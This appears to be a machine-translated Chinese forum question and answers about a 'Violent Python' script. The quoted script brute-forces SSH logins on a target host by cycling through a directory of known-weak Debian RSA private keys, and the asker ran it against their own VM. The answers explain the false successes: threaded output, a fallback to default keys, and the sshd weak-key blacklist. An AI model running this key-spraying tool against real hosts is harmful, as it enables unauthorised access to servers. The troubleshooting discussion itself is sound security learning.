弱Debian SSH密钥Python脚本Cryptic auth.log



所以我在读这本很棒的书,《暴力Python》。在第2章中有一个Python脚本,它使用私钥对Debian机器或任何运行SSH服务器的机器进行身份验证,这些服务器上有没有强私钥的用户。下面是脚本:

#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
    global Stop
    global Fails
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + 
                  '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, 
                            ssh_newkey, conn_closed, '$', '#',])
        if ret == 2:
            print '[-] Adding Host to ~/.ssh/known_hosts'
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print '[-] Connection Closed By Remote Host'
            Fails += 1
        elif ret > 3:
            print '[+] Success. ' + str(keyfile)
            Stop = True
    finally:
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser('usage%prog -H ' + 
                                   '<target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', 
                      help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', 
                      help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', 
                      help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user
    if host == None or passDir == None or user == None:
        print parser.usage
        exit(0)
    for filename in os.listdir(passDir):
        if Stop:
            print '[*] Exiting: Key Found.'
            exit(0)
        if Fails > 5:
            print '[!] Exiting: '+ 
                  'Too Many Connections Closed By Remote Host.'
            print '[!] Adjust number of simultaneous threads.'
            exit(0)
        connection_lock.acquire()
        fullpath = os.path.join(passDir, filename)
        print '[-] Testing keyfile ' + str(fullpath)
        t = Thread(target=connect, 
                   args=(user, host, fullpath, True))
        child = t.start()
if __name__ == '__main__':
    main()

奇怪的是,当我在我的内部局域网上运行这个基于Debian的Kali副本时,Python脚本打印出它发现了一些易受攻击的私钥。我不确定为什么它会发现几个易受攻击的密钥,尽管对于操作系统上的单个用户。当我运行这个脚本时,我指定了1)一个主机,2)一个用户名,以及3)一个目录,其中包含由HD Moore生成的私钥。我不得不使用回溯机器来获取他为2048强度非对称算法生成的RSA私钥。

示例输出:

[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213

无论如何,为什么脚本说它在我的Debian Kali虚拟机(VM)上为我的用户名找到了许多私钥?我试图用ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root@192.168.1.11 -o PasswordAuthentication=no命令登录明显易受攻击的私钥,但它不起作用。为什么它不起作用?Python脚本实际上没有做它所说的事情吗?有人戴x光眼镜吗?让我继续…

然后我检查了我的Debian Kali VM的/var/log/auth.log,它有一些有趣而神秘的条目。日志显示,Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))

我阅读了Debian Kali OS上ssh-vulnkey的手册页,发现这个程序可以在计算机上找到易受攻击的密钥。我试着用-v verbose选项运行这个,看到一些密钥显然是易受攻击的,虽然我不明白f键是怎么回事。

是否有人有一个容易理解的解释关于1)为什么脚本返回结果,它成功地找到了一个键(s)和2)被列入黑名单的auth.log消息意味着什么?此外,3)如果它发现一个易受攻击的密钥,为什么我不能使用该密钥登录到我的计算机?

也,这应该被移动到information-security吗?

Wicked Python脚本by:

奥康纳,TJ(2012-12-28)。暴力Python:黑客,法医分析师,渗透测试人员和安全工程师的食谱。爱思唯尔的科学。Kindle版。

据我所知,脚本只是遍历目录并尝试使用它们作为连接到给定SSH服务器的密钥。这是在线程中完成的,所以输出的顺序是不确定的。由于我们在启动新线程之前检查全局Stop标志是否为True,因此可能会发生并非所有文件都被检查的情况,因为一个较早的线程已经成功完成并设置了标志。这就是为什么它报告它找到了一个键

您的SSH守护进程将由一个损坏的OpenSSL版本生成的弱密钥列入黑名单。这是一件好事,你可以在这里读到。这也是你不能登录的原因。

ssh自动返回到在配置目录中查找有效的密钥。所以连接确实成功了,但是命令行参数被忽略了。尝试使用-vvv运行该命令,并观察输出:

$ ssh user@host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]

最新更新